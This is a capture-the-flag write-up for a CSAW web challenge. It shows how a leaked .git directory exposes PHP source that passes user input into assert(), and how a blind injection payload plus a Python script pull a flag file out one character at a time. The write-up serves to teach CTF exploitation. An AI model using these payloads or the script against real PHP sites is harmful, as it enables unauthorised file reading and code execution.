Description
Hey, I made my first website today.
It’s pretty cool and web 7.9.
http://web.chal.csaw.io:8000/
Resolution
The beginning of this challenge was pretty classic. We’re facing a very little and basic bootstrap website.
In order to navigate through the pages, the GET parameter page
is given. Let’s see what do those pages contain.
About
I wrote this website all by myself in under a week!
I used:
- Git
- PHP
- Bootstrap
Okay, so there surely is a .git
folder at the root of the domain. Let’s retreive all the data we can using dvcs-ripper.
$ dvcs-ripper/rip-git.pl -u http://web.chal.csaw.io:8000/.git/ [i] Using session name: JYFKgDXf Vérification des répertoires d'objet: 100% (256/256), fait. error: 8210d71b1dd2eb344913c63058ce0cabc3bdb504: invalid sha1 pointer in cache-tree Vérification des répertoires d'objet: 100% (256/256), fait. error: eb22ab3279ea06d7cf0c5f75787d828facc9d55b: invalid sha1 pointer in cache-tree Vérification des répertoires d'objet: 100% (256/256), fait. [!] No more items to fetch. That's it! $ l drwxr-xr-x 6 vic511 vic511 4,0K sept. 19 19:40 .git -rw-r--r-- 1 vic511 vic511 2,2K sept. 19 19:40 index.php drwxr-xr-x 2 vic511 vic511 4,0K sept. 19 19:40 templates
Alright ! We have the one and only php page we should be able to access (the others are in the templates/
directory). Let’s check what’s wrong in this code.
<?php if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; // I heard '..' is dangerous! assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // TODO: Make this look nice assert("file_exists('$file')") or die("That file doesn't exist!"); ?> <!DOCTYPE html> <!-- ... --> <!-- <li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> --> <!-- ... --> <?php require_once $file; ?>
Okay, so we’re able to inject in the assert
function. We have to retreive the content of the file located at templates/flag.php
, and we are able to inject some code in two assert calls.
I’ve been trying to execute some code, the way an injection in eval
should be done, for example:
', '.');echo file_get_contents('templates/flag.php');strpos('l
Anyways, I couldn’t retrieve any output.
I thought of another way of exploiting this vulnerability. We can see if the first assert
statement fails, then it displays Detected hacking attempt!
. If the second fails, it is That file doesn't exist!
. If they both succeed, then the normal page is rendered.
My way of retrieving the flag was based on whether or not those assertions failed, using what would display the page. This is very similar to a blind SQL injection.
Here is the payload I used:
','.')===false&&(substr(file_get_contents('templates/flag.php'),{index},1)==chr({char}))&&strpos('
For the first assertion, it results in:
strpos('', '.') === false && (substr(file_get_contents('templates/flag.php'), {index}, 1) == chr({char})) && strpos('', '..') === false
The second one is:
file_exists('', '.') === false && (substr(file_get_contents('templates/flag.php'), {index}, 1) == chr({char})) && strpos('')
We are here trying to recover the content of templates/flag.php
char by char. If the first assertion succeeds, then we have the right char, and the second assertion will fail, displaying That file doesn't exist!
. Let’s automate this !
#!/usr/bin/env python # coding: utf-8 import sys import requests from urllib import quote from string import printable url = "http://web.chal.csaw.io:8000/?page=%s" template = "','.')===false&&(substr(file_get_contents('templates/flag.php'),%d,1)==chr(%d))&&strpos('" def dynout(s): # homemade dynamic displaying function sys.stdout.write("\r" + " " * dynout.last) sys.stdout.write("\r" + s) sys.stdout.flush() dynout.last = len(s) dynout.last = 0 def makeReq(payload): return requests.get(url % (quote(payload))) flag = '<?php ' # we know it starts with this string index = len(flag) while True: for c in printable: # test every printable char dynout((flag + c).encode("string_escape")) req = makeReq(template % (index, ord(c))) if "That file doesn't exist!" in req.content: # right guess! flag += c break index += 1 if len(flag) != index: # we retrieved everything break dynout(flag) # display what we have
This gives us:
$ ./blind.py <?php $FLAG="flag{3vald_@ss3rt_1s_best_a$$ert}"; ?>
Nice! The flag is flag{3vald_@ss3rt_1s_best_a$$ert}
!